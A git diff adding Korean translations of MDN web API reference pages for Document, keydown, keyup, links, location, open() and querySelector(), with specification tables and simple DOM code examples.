<dt>{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt> + <dd>캐럿을 포함하는 DOM 노드와 그 노드내 캐첫의 문자 오프셋을 포함하는 {{domxref('CaretPosition')}} 객체를 반환합니다.</dd> +</dl> + +<h2 id="비표준_확장_non-standard_inline">비표준 확장 {{non-standard_inline}}</h2> + +<p>{{non-standard_header}}</p> + +<h3 id="Firefox_노트">Firefox 노트</h3> + +<p>Mozilla는 XUL 컨텐츠만을 위해 만들어진 비표준 속성의 집합을 정의합니다.</p> + +<dl> + <dt>{{domxref("document.currentScript")}} {{non-standard_inline}}</dt> + <dd>현재 실행중인 {{HTMLElement("script")}} 엘리먼트를 반환합니다.</dd> + <dt>{{domxref("document.documentURIObject")}}</dt> + <dd>(<strong>Mozilla 부가 기능 전용!</strong>) 다큐먼트의 URI 를 나타내는 {{Interface("nsIURI")}} 객체를 반환합니다. 이 속성은 권한을 가진 자바스크립트 코드(UniversalXPConnect 권한을 갖는)에서만 특별한 의미를 갖습니다.</dd> + <dt>{{domxref("document.popupNode")}}</dt> + <dd>팝업이 불려진 노드를 반환합니다.</dd> + <dt>{{domxref("document.tooltipNode")}}</dt> + <dd>현재 툴팁의 대상이되는 노드를 반환합니다.</dd> +</dl> + +<p>Mozilla 는 또한 일부 비표준 메소드를 정의합니다.</p> + +<dl> + <dt>{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt> + <dd>이 메소드는 아무것도 하지 않았지만 항상 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.</dd> + <dt>{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}</dt> + <dd>{{domxref("Element.getBoundingClientRect()")}} 메소드를 대신 사용하세요.</dd> + <dt>{{domxref("document.loadOverlay")}}</dt> + <dd><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL" title="XUL_Overlays">XUL 오버레이</a>를 동적으로 로드합니다. XUL 다큐먼트에서만 동작합니다.</dd> + <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt> + <dd>이 메소드는 아무것도 하지 않았지만 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.</dd> +</dl> + +<h3 id="Internet_Explorer_노트">Internet Explorer 노트</h3> + +<p>Microsoft는 일부 비표준 속성을 정의합니다.</p> + +<dl> + <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd> +</dl> + +<p>Internet Explorer는 <code>Document</code> 인터페이스내 <code>Node</code> 인터페이스의 모든 메소드를 지원하지 않습니다:</p> + +<dl> + <dt>{{domxref("document.contains")}}</dt> + <dd>대안으로 <code>document.body.contains()</code> 를 사용할 수 있습니다.</dd> +</dl> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">코멘트</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#interface-document", "Document")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>DOM 3 대체 의도</td> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>{{domxref("HTMLDocument")}} 인터페이스를 <code>Document</code> 확장으로 전환.</td> + </tr> + <tr> + <td>{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}</td> + <td>{{Spec2("HTML Editing")}}</td> + <td><code>Document</code> 인터페이스 확장</td> + </tr> + <tr> + <td>{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("CSSOM View")}}</td> + <td><code>Document</code> 인터페이스 확장</td> + </tr> + <tr> + <td>{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("CSSOM")}}</td> + <td><code>Document</code> 인터페이스 확장</td> + </tr> + <tr> + <td>{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("Pointer Lock")}}</td> + <td><code>Document</code> 인터페이스 확장</td> + </tr> + <tr> + <td>{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}</td> + <td>{{Spec2("Page Visibility API")}}</td> + <td><code>visibilityState</code> 와 <code>hidden</code> 속성과 <code>onvisibilitychange</code> 이벤트 리스너를 갖도록 <code>Document</code> 인터페이스 확장.</td> + </tr> + <tr> + <td>{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}</td> + <td>{{Spec2("Selection API")}}</td> + <td><code>getSelection()</code>, <code>onselectstart</code> 와 <code>onselectionchange</code> 추가.</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#interface-document", "Document")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>DOM 3 대체</td> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>DOM 2 대체</td> + </tr> + <tr> + <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}</td> + <td>{{Spec2("DOM3 XPath")}}</td> + <td>다큐먼트를 확장하는 {{domxref("XPathEvaluator")}} 인터페이스 정의.</td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>DOM 1 대체</td> + </tr> + <tr> + <td>{{SpecName("DOM1", "#i-Document", "Document")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>인터페이스 초기 정의</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document")}}</p> diff --git a/files/ko/web/api/document/keydown_event/index.html b/files/ko/web/api/document/keydown_event/index.html new file mode 100644 index 0000000000..4d841c084b --- /dev/null +++ b/files/ko/web/api/document/keydown_event/index.html @@ -0,0 +1,153 @@ +--- +title: keydown +slug: Web/API/Document/keydown_event +translation_of: Web/API/Document/keydown_event +--- +<p><code>keydown</code> 이벤트늘 키가 눌렸을 때 발생합니다.</p> + +<h2 id="General_info">General info</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">Specification</dt> + <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></dd> + <dt style="float: left; text-align: right; width: 120px;">Interface</dt> + <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="/en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd> + <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Target</dt> + <dd style="margin: 0 0 0 120px;">Document, Element</dd> + <dt style="float: left; text-align: right; width: 120px;">Default Action</dt> + <dd style="margin: 0 0 0 120px;">Varies: <code>keypress</code> event; launch text composition system; <code>blur</code> and <code>focus</code> events; <code>DOMActivate</code> event; other event</dd> +</dl> + +<h2 id="Properties">Properties</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The event target (the topmost target in the DOM tree).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>DOMString</td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event is cancellable or not?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td>WindowProxy</td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget (DOM element)</td> + <td>Focused element processing the key event, root element if no suitable input element focused.</td> + </tr> + <tr> + <td><code>char</code> {{readonlyInline}}</td> + <td>DOMString (string)</td> + <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. + <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div> + </td> + </tr> + <tr> + <td><code>key</code> {{readonlyInline}}</td> + <td>DOMString (string)</td> + <td>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. Read Only.</td> + </tr> + <tr> + <td><code>charCode</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>keyCode</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>which</code> {{readonlyInline}}</td> + <td>Unsigned long (int)</td> + <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>. + <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div> + </td> + </tr> + <tr> + <td><code>location</code> {{readonlyInline}}</td> + <td>long (float)</td> + <td>The location of the key on the device.</td> + </tr> + <tr> + <td><code>repeat</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td> + </tr> + <tr> + <td><code>locale</code> {{readonlyInline}}</td> + <td>string</td> + <td>The language code for the key event, if available; otherwise, the empty string.</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="preventDefault()_of_keydown_event"><code>preventDefault()</code> of <code>keydown</code> event</h2> + +<p>Starting with Gecko 25, a call of <code>preventDefault()</code> of <code>keydown</code> event prevents to dispatch following <code>keypress</code> event. This is valid behavior for D3E spec and the other major web browsers behave so. On the other hand, Gecko 24 or earlier dispatched <code>keypress</code> event even if <code>preventDefault()</code> of preceding <code>keydown</code> event is called. Although the <code>keypress</code> event's <code>defaultPrevented</code> attribute was <code>true</code> in this case.</p> + +<h2 id="Related_Events">Related Events</h2> + +<ul> + <li>{{event("keydown")}}</li> + <li>{{event("keyup")}}</li> + <li>{{event("keypress")}}</li> + <li>{{event("input")}}</li> +</ul> diff --git a/files/ko/web/api/document/keyup_event/index.html b/files/ko/web/api/document/keyup_event/index.html new file mode 100644 index 0000000000..766928b715 --- /dev/null +++ b/files/ko/web/api/document/keyup_event/index.html @@ -0,0 +1,99 @@ +--- +title: 'Document: keyup event' +slug: Web/API/Document/keyup_event +translation_of: Web/API/Document/keyup_event +--- +<div><font><font>{{APIRef}}</font></font></div> + +<p><strong><code>keyup</code></strong><font><font>키를 놓을 때 이벤트가 발생합니다.</font></font></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><font><font>거품</font></font></th> + <td><font><font>예</font></font></td> + </tr> + <tr> + <th scope="row"><font><font>취소 가능</font></font></th> + <td><font><font>예</font></font></td> + </tr> + <tr> + <th scope="row"><font><font>상호 작용</font></font></th> + <td><font><font>{{domxref ( "KeyboardEvent")}}</font></font></td> + </tr> + <tr> + <th scope="row"><font><font>이벤트 핸들러 속성</font></font></th> + <td><font><font>{{domxref ( "GlobalEventHandlers.onkeyup", "onkeyup")}}</font></font></td> + </tr> + </tbody> +</table> + +<p><font><font>{{domxref ( "Document / keydown_event", "keydown")}} 및 </font></font><code>keyup</code><font><font>이벤트는 어떤 키를 눌렀는지 나타내는 코드를 제공하고 {{domxref ( "Document / keypress_event", "keypress")}} </font><font>는 입력 </font><font>된 </font></font><em><font><font>문자를</font></font></em><font><font> 나타냅니다. </font><font>. </font><font>예를 들어, 소문자 "a"는 </font></font><code>keydown</code><font><font>및 </font></font><code>keyup</code><font><font>에서는 </font><font>65로보고 </font><font>되지만에서는 97 </font><font>로보고 </font><font>됩니다 </font></font><code>keypress</code><font><font>. </font><font>모든 이벤트에서 대문자 "A"는 65로보고됩니다.</font></font></p> + +<div class="blockIndicator note"> +<p><strong><font><font>참고 :</font></font></strong><font><font> 입력 값의 변경에 대응하는 방법을 찾고 있다면 </font></font><a href="/en-US/docs/Web/API/HTMLElement/input_event"><code>input</code><font><font>event를</font></font></a><font><font> 사용해야합니다 </font><font>. </font></font><code>keyup</code><font><font>예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 </font><font>일부 변경 사항은에서 감지 할 수 없습니다 </font><font>.</font></font></p> +</div> + +<p><font><font>Firefox 65부터 </font></font><code>keyup</code><font><font>CJKT 사용자의 브라우저 간 호환성을 개선하기 위해 </font><font>{{domxref ( "Document / keydown_event", "keydown")}} 및 </font><font>이벤트가 이제 IME 작성 중에 실행됩니다 ({{bug (354358)}}, 자세한 내용 </font></font><a href="https://www.fxsitecompat.com/en-CA/docs/2018/keydown-and-keyup-events-are-now-fired-during-ime-composition/"><font><font>은 IME 작성 중에 keydown 및 keyup 이벤트가 시작</font></font></a><font><font> 됩니다. </font><font>작성의 </font></font><code>keyup</code><font><font>일부인 </font><font>모든 </font><font>이벤트 </font><font>를 무시하려면 </font><font>다음과 같이 수행하십시오 (229는 </font></font><code>keyCode</code><font><font>IME에 의해 처리 된 이벤트 관련에 </font><font>대한 특수 값 세트입니다 </font><font>).</font></font></p> + +<pre class="brush: js notranslate"><font><font>eventTarget.addEventListener ( "keyup", event => { </font></font><font><font> + if (event.isComposing || event.keyCode === 229) { </font></font><font><font> + return; </font></font><font><font> + } </font></font><font><font> + // 무언가를합니다 </font></font><font><font> +});</font></font> +</pre> + +<h2 id="예"><font><font>예</font></font></h2> + +<p><font><font>이 예에서는 키를 놓을 때마다 {{domxref ( "KeyboardEvent.code")}} 값을 기록합니다.</font></font></p> + +<h3 id="addEventListener_키업_예제"><font><font>addEventListener 키업 예제</font></font></h3> + +<pre class="brush: html notranslate"><font><font><p> 먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오. </ p> </font></font><font><font> +<p id = "log"> </ p></font></font></pre> + +<pre class="brush: js notranslate"><font><font>const log = document.getElementById ( 'log'); </font></font> +<font><font> +document.addEventListener ( 'keyup', logKey); </font></font> +<font><font> +function logKey (e) { </font></font><font><font> + log.textContent + =`$ {e.code}`; </font></font><font><font> +}</font></font></pre> + +<p><font><font>{{EmbedLiveSample ( "addEventListener_keyup_example")}}</font></font></p> + +<h3 id="onkeyup_해당"><font><font>onkeyup 해당</font></font></h3> + +<pre class="brush: js notranslate"><font><font>document.onkeyup = logKey;</font></font></pre> + +<h2 id="명세서"><font><font>명세서</font></font></h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"><font><font>사양</font></font></th> + <th scope="col"><font><font>상태</font></font></th> + </tr> + </thead> + <tbody> + <tr> + <td><font><font>{{SpecName ( "UI 이벤트", "# event-type-keyup")}}</font></font></td> + <td><font><font>{{Spec2 ( "UI 이벤트")}}</font></font></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성"><font><font>브라우저 호환성</font></font></h2> + +<div class="hidden"><font><font>이 페이지의 호환성 표는 구조화 된 데이터에서 생성됩니다. </font><font>데이터에 기여하고 싶다면 </font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font> 에서 풀 리퀘스트를 보내주세요.</font></font></div> + +<p><font><font>{{Compat ( "api.Document.keyup_event")}}</font></font></p> + +<h2 id="또한보십시오"><font><font>또한보십시오</font></font></h2> + +<ul> + <li><font><font>{{domxref ( "Document / keydown_event", "keydown")}}</font></font></li> + <li><font><font>{{domxref ( "Document / keypress_event", "keypress")}}</font></font></li> + <li><font><font>{{domxref ( "Element")}} : {{domxref ( "Element / keyup_event", "keyup")}} 이벤트</font></font></li> +</ul> diff --git a/files/ko/web/api/document/links/index.html b/files/ko/web/api/document/links/index.html new file mode 100644 index 0000000000..4087ef0c0e --- /dev/null +++ b/files/ko/web/api/document/links/index.html @@ -0,0 +1,102 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - Document + - Links + - a + - area + - href +translation_of: Web/API/Document/links +--- +<p>{{ APIRef("DOM") }}</p> + +<p><code>links </code>속성은 document 내에서 <a href="/en-US/docs/Web/API/URLUtils.href">href</a> attribute 를 가지는 모든 {{HTMLElement("area")}} 과 {{HTMLElement("a")}} element 들의 collection 을 반환한다.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="eval"><em>nodeList</em> = document.links +</pre> + +<h2 id="Example" name="Example">Example</h2> + +<pre class="brush: js">var links = document.links; +for(var i = 0; i < links.length; i++) { + var linkHref = document.createTextNode(links[i].href); + var lineBreak = document.createElement("br"); + document.body.appendChild(linkHref); + document.body.appendChild(lineBreak); +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/ko/web/api/document/location/index.html b/files/ko/web/api/document/location/index.html new file mode 100644 index 0000000000..96c514e4b9 --- /dev/null +++ b/files/ko/web/api/document/location/index.html @@ -0,0 +1,69 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Property + - Read-only + - Reference +translation_of: Web/API/Document/location +--- +<p>{{APIRef("DOM")}}</p> + +<p>The <strong><code>Document.location</code></strong> read-only property returns a {{domxref("Location")}} object, which contains information about the URL of the document and provides methods for changing that URL and loading another URL.</p> + +<p>Though <code>Document.location</code> is a <em>read-only</em> <code>Location</code> object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with document.location as if it were a string in most cases: <code>document.location = 'http://www.example.com'</code> is a synonym of <code>document.location.href = 'http://www.example.com'</code>.</p> + +<p>To retrieve just the URL as a string, the read-only {{domxref("document.URL")}} property can also be used.</p> + +<p>If the current document is not in a browsing context, the returned value is <code>null</code>.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>locationObj</em> = document.location +document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org' +</pre> + +<h2 id="Example" name="Example">Example</h2> + +<pre class="brush: js">dump(document.location); +// Prints a string like +// "http://www.example.com/juicybits.html" to the console +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from {{SpecName("HTML5 W3C")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.location")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>The interface of the returned value, {{domxref("Location")}}.</li> + <li>A similar information, but attached to the {{Glossary("browsing context")}}, {{domxref("Window.location")}}.</li> +</ul> diff --git a/files/ko/web/api/document/open/index.html b/files/ko/web/api/document/open/index.html new file mode 100644 index 0000000000..e7e376fbb2 --- /dev/null +++ b/files/ko/web/api/document/open/index.html @@ -0,0 +1,106 @@ +--- +title: Document.open() +slug: Web/API/Document/open +translation_of: Web/API/Document/open +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.open()</code></strong> 메소드는 문서를 {{domxref("Document.write", "쓰기", "", "1")}} 위해 문서를 열 수 있도록 제공한다.</p> + +<p>이 메소드 호출 시 몇 가지 부작용이 발생한다. 예를 들면,</p> + +<ul> + <li>현재까지 등록된 모든 요소와 문서, 문서에 속한 윈도우 소속 이벤트 리스너가 모두 삭제된다.</li> + <li>현존했던 모든 요소가 문서에서 삭제된다.</li> +</ul> + +<h2 id="Syntax" name="Syntax">문법</h2> + +<pre class="syntaxbox notranslate">document.open(); +</pre> + +<h3 id="인자">인자</h3> + +<p>없음.</p> + +<h3 id="Return_value반환값">Return value반환값</h3> + +<p><code>Document</code> 객체 인스턴스.</p> + +<h2 id="Example" name="Example">예시</h2> + +<p>이 간단한 코드는 문서를 열면서, 원하는 내용을 작성하여 기존 HTML 문서 구조를 대체하고, 문서를 닫는 예제이다. </p> + +<pre class="brush: js notranslate">document.open(); +document.write("<p>Hello world!</p>"); +document.write("<p>I am a fish</p>"); +document.write("<p>The number is 42</p>"); +document.close(); +</pre> + +<h2 id="Notes" name="Notes">Notes</h2> + +<p><code>document.open()</code> 메소드는 페이지를 불러온 후 {{domxref("document.write()")}} 메소드 호출 시 자동으로 호출된다.</p> + +<p>Firefox 및 Internet Explorer 에서는 기존까지 모든 요소 뿐 만 아니라 자바스크립트 변수까지 제거했었다. 하지만 현재 그런 경우는 없다.<span class="comment">document non-spec'ed parameters to document.open</span></p> + +<h3 id="Gecko_특정_참고사항">Gecko 특정 참고사항</h3> + +<p>Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.</p> + +<p>Starting with Gecko 1.9.2, <code>document.open()</code> uses the <a href="/docs/Security_check_basics">principal</a> of the document whose URI it uses, instead of fetching the principal off the stack. As a result, you can no longer call {{domxref("document.write()")}} into an untrusted document from chrome, even using <a class="internal" href="/en/wrappedJSObject"><code>wrappedJSObject</code></a>. See <a href="/en/Security_check_basics" title="en/Security check basics">Security check basics</a> for more about principals.</p> + +<h2 id="document.open의_인자_3개">document.open()의 인자 3개</h2> + +<p>잘 사용하지 않지만, <code>document.open()</code> 메소드는 3 개의 인자를 받을 수 있으며, 호출할 경우 {{domxref("Window.open()")}} 메소드와 동일하게 동작한다(<code>Window.open()</code> 메소드 참고).</p> + +<p>다음 예제는 Github 웹 사이트를 새 창으로 열게 되며, opener 개체를 <code>null</code>로 설정한다.</p> + +<pre class="brush: js notranslate">document.open('https://www.github.com','', 'noopener=true')</pre> + +<h2 id="document.open의_인자_2개">document.open()의 인자 2개</h2> + +<p>브라우저에서는 2개의 인자를 가진 <code>document.open()</code> 또한 가지고 있으며, 아래와 같은 구조를 가진다.</p> + +<pre class="brush: js notranslate">document.open(<em>type</em>, <em>replace</em>)</pre> + +<p>Where <code>type</code> 인자는 문서를 작성할 MIME 형식을 정의하며(예: <code>text/html</code>), 현재 히스토리를 대체(예: <code>"replace"</code>) 하는 새 문서 작성을 시작할 수 있다.</p> + +<p>하지만 이런 호출은 더 이상 사용할 수 없으며, 예외 또한 발생하지 않는다.대신 인자가 없는 <code>document.open()</code> 메소드가 호출되는 효과를 지니며, 대신 브라우저 히스토리 대체는 그대로 작동한다.</p> + +<h2 id="규격">규격</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.open")}}</p> + +<h2 id="같이보기">같이보기</h2> + +<ul> + <li>{{domxref("Document")}}</li> + <li>{{domxref("Window.open()")}}</li> +</ul> diff --git a/files/ko/web/api/document/queryselector/index.html b/files/ko/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..cf3ead8baa --- /dev/null +++ b/files/ko/web/api/document/queryselector/index.html @@ -0,0 +1,130 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS Selectors + - DOM + - DOM Elements + - Document + - Method + - Reference + - Selectors + - Web +translation_of: Web/API/Document/querySelector +--- +<div>{{ApiRef("DOM")}}</div> + +<p><strong><code>Document.querySelector()</code></strong>는 제공한 선택자 또는 선택자 뭉치와 일치하는 문서 내 첫 번째 {{domxref("Element")}}를 반환합니다. 일치하는 요소가 없으면 <code>null</code>을 반환합니다.</p> + +<div class="note"> +<p><strong>참고</strong>: 탐색은 깊이우선<sup>depth-first</sup> 전위<sup>pre-order</sup>순회로, 문서의 첫 번째 요소부터 시작해 자식 노드의 수를 기준으로 순회합니다.</p> +</div> + +<h2 id="Syntax" name="Syntax">구문</h2> + +<pre class="syntaxbox">document.querySelector(<var>selectors</var>); +</pre> + +<h3 id="매개변수">매개변수</h3> + +<dl> + <dt><code>selectors</code></dt> + <dd>하나 이상의 선택자를 포함한 {{domxref("DOMString")}}. 유효한 CSS 선택자여야만 하며 아닐 경우 <code>SYNTAX_ERR</code> 예외가 발생합니다. <a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a> 문서를 참고해 선택자와 선택자 작성 방법을 더 알아보세요.</dd> +</dl> + +<div class="note"> +<p><strong>참고</strong>: CSS 표준 구문이 포함하는 문자가 아닌 경우 역슬래시로 이스케이프해야 합니다. JavaScript 또한 역슬래시로 이스케이프를 하기 때문에 특히 주의를 기울여야 합니다. 자세한 내용은 {{anch("특수 문자 이스케이프")}} 항목을 참고하세요.</p> +</div> + +<h3 id="반환값">반환값</h3> + +<p>제공한 <a href="/ko/docs/Web/CSS/CSS_%EC%84%A0%ED%83%9D%EC%9E%90">CSS 선택자</a>를 만족하는 첫 번째 {{domxref("Element")}} 객체. 결과가 없다면 <code>null</code>.</p> + +<p>선택자를 만족하는 모든 요소의 목록이 필요하다면 {{domxref("Document.querySelectorAll", "querySelectorAll()")}}을 대신 사용하세요.</p> + +<h3 id="예외">예외</h3> + +<dl> + <dt><code>SYNTAX_ERR</code></dt> + <dd><code>selectors</code>의 구문이 유효하지 않음.</dd> +</dl> + 